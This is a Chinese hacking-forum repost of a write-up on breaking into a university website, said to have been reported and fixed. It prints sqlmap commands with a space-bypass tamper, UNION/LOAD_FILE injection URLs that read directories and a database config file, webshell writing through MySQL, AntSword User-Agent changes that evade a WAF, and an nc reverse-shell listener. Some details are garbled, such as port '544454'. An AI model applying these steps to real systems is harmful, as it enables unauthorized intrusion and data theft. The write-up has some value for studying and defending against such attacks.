跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

记一次某大学sql注入到getshell

精选回复

发布于

0x01 前言

目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复

0x02 sql注入getshell失败

在id处连续加两个单引号都报错,经过探测发现是数字型的注入且过滤了空格,这里可以用/**/代替
1049983-20220119230754221-1947063106.png
1049983-20220119230754869-1298361745.png
于是直接上sqlmap

python sqlmap.py -u url --batch --tamper=space2comment.py dbs

1049983-20220119230755494-268741254.png
发现是dba权限:

python sqlmap.py -u url --batch --tamper=space2comment.py --is-dba

1049983-20220119230756168-93360783.png
试了很多方法找web路径
最后注意到操作系统是FreeBSD
无意中看到这个
1049983-20220119230756543-1187286406.png
char(47)就是’/’,立马想到可以通过这个遍历目录、找路径
1049983-20220119230757049-1315630357.png
通过从根目录开始逐层遍历,最终找到网站根目录:
1049983-20220119230757584-367784242.png
写入shell失败,转换成16进制规避单引号还是不行
但是这个注入可以读取服务器上的任意敏感文件(包括非web目录),危害巨大

0x03 从其它点继续尝试

读取sql注入处代码,发现并没有代码层面的过滤,explode() 函数把字符串打散为数组,这里以空格为分隔,取数组的第一个,变相地过滤了空格,把空格换成内联注释就能注入
1049983-20220119230758182-963206539.png
根据泄露的数据库账号、密码尝试连接3306端口失败,估计绑定了本地ip
继续遍历目录,发现了mysql的登陆界面
1049983-20220119230758617-1821294693.png
登录之后却是空白界面,读取处理登录逻辑的代码发现登陆成功直接设置session但不跳转,登陆后直接访问首页就行
查一下secure_file_priv,发现是空值,并没有限制
1049983-20220119230759161-800865420.png
尝试利用日志写入webshell,发现没有权限设置日志路径
1049983-20220119230759627-831672158.png
1049983-20220119230759987-857371733.png
找到了网站后台
1049983-20220119230800441-1719840707.png
数据库里面查到的账号和密码hash值
在线网站解密hash值得到明文
登录失败,读取一下源码
1049983-20220119230800995-642366195.png
1049983-20220119230801481-2146979083.png
发现是加了盐的,于是加盐再解密得到正确密码
成功登陆后在人員資料管理新增处发现一个上传照片的地方
1049983-20220119230801913-361154312.png
但是只能上传图片文件
1049983-20220119230802435-1701708571.png
上传成功之后,突然想到了sql写shell失败是不是因为目录权限问题,网站限制了除上传目录外其它目录都不可写?

于是尝试写入shell
1049983-20220119230802982-2133055457.png
成功,果然是目录写权限问题
1049983-20220119230803466-2086656888.png
发现蚁剑连不上,估计waf拦截了流量。看了一下蚁剑的流量加密,蚁剑流量有一个重要特征就是User-Agent为antSword/版本,另外使用了编码器的话还要将解码函数发过去,所以解码函数这里也是一个特征,需要自定义编码器和解码器。
修改antSword-master/modules/request.js和antSword-master/modules/update.js两个文件的User-Agent后成功连接,waf仅仅拦截了UA这一明显特征
1049983-20220119230803898-1313505746.png
反弹shell失败,nc是基于tcp/udp协议的,所以可能的原因有:反弹的命令不存在、禁止出站IP、禁止tcp协议出站端口
确认sh存在:
1049983-20220119230804239-313147220.png
出站端口为访问外网,查询网络连接发现54454端口可以出站
1049983-20220119230804626-26010200.png
于是监听54454端口后成功反弹shell
1049983-20220119230804985-937189033.png
提权失败。服务器内核版本过高,无法利用内核漏洞提权,尝试计划任务、环境变量、和suid提权发现没有可以利用的地方,sudo提权也不行,第三方服务中udf提权发现插件目录不可写,几个文件权限也配置正常,也没有发现其它敏感信息泄露


0x04 总结

1.目标系统中加单引号报错,但是过滤空格,可以用/**/代替绕过
2.使用sqlmap中的space2comment.py脚本进行注入
python sqlmap.py -u http://ip/newform.php?id=123  --batch --tamper=space2comment.py –dbs  //读取数据库名
python sqlmap.py -u http://ip/newform.php?id=123 --batch --tamper=space2comment.py --is-dba   //查看是否为dba,该系统是dba权限
3.通过NAMP扫描,目标系统是freedb(sunos也可以),可以同构load_file()函数直接遍历目录
3.通过load_file()函数逐渐读取目标系统目录
http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/'),3,4,5,6,7,8
3.读取到网站根目录
http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/home/db/www/'),3,4,5,6,7,8
4.写入webshell失败,尝试读取数据库配置文件。显示了网站的数据库的用户名和密码
http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/home/db/www/ncuoga/cbg/oga/newsform.php'),3,4,5,6,7,8
5.继续通过LOAD_FILE目标遍历,发现在根目录下存在pmbp数据库管理的页面,通过读取到的数据库和用户名和密码,登录pmbp数据库管理员页面,但是显示空白不能跳转到后台管理页面,直接访问数据库管理页面。
6.查询SQL语句查询权限,显示空置,并没有对写入进行限制
show VARIABLES LIKE "secure_file_priv"
7.但是通过mysql的log写入shell,是不成功的,可能对写入的目录权限有限制。
8.通过目录扫描,找到目录系统的后台管理,这里的后台用户名和密码,可通过sqlmap直接读取出用户名和密码hash
,密码hahs直接通过md5进行成功解密,不能成功登陆到系统,可能密码不对。
9.通过load_file()函数读取后台管理页面,发现密码是加盐的,这里加盐再解密得到正确密码,并成功登陆到目标后台
10.在后台的资料管理的照片处,可直接上传图片,并显示图片的绝对路径地址。
11.参数通过mysql将蚁剑一句话写入到图片的绝对路径地址下。可成功写入
12.通过蚂剑连接一句话,但是显示连接不成功,可能被WAF拦截了,这里需要修改蚂剑的User-Agent,以及使用编码器baa64的编码绕过WAF拦截,并成功链接。
修改antSword-master/modules/request.js和antSword-master/modules/update.js两个文件的User-Agent后成功,并使用码编码bas64
13.通过nc进行反弹,发现反弹失败,发现目标系统禁止出站IP、禁止tcp协议出站端口,并发现出站端口为访问外网,查询网络连接发现54454端口可以出站。
nc -lvvp  544454 


原文链接: https://xz.aliyun.com/t/10527




创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。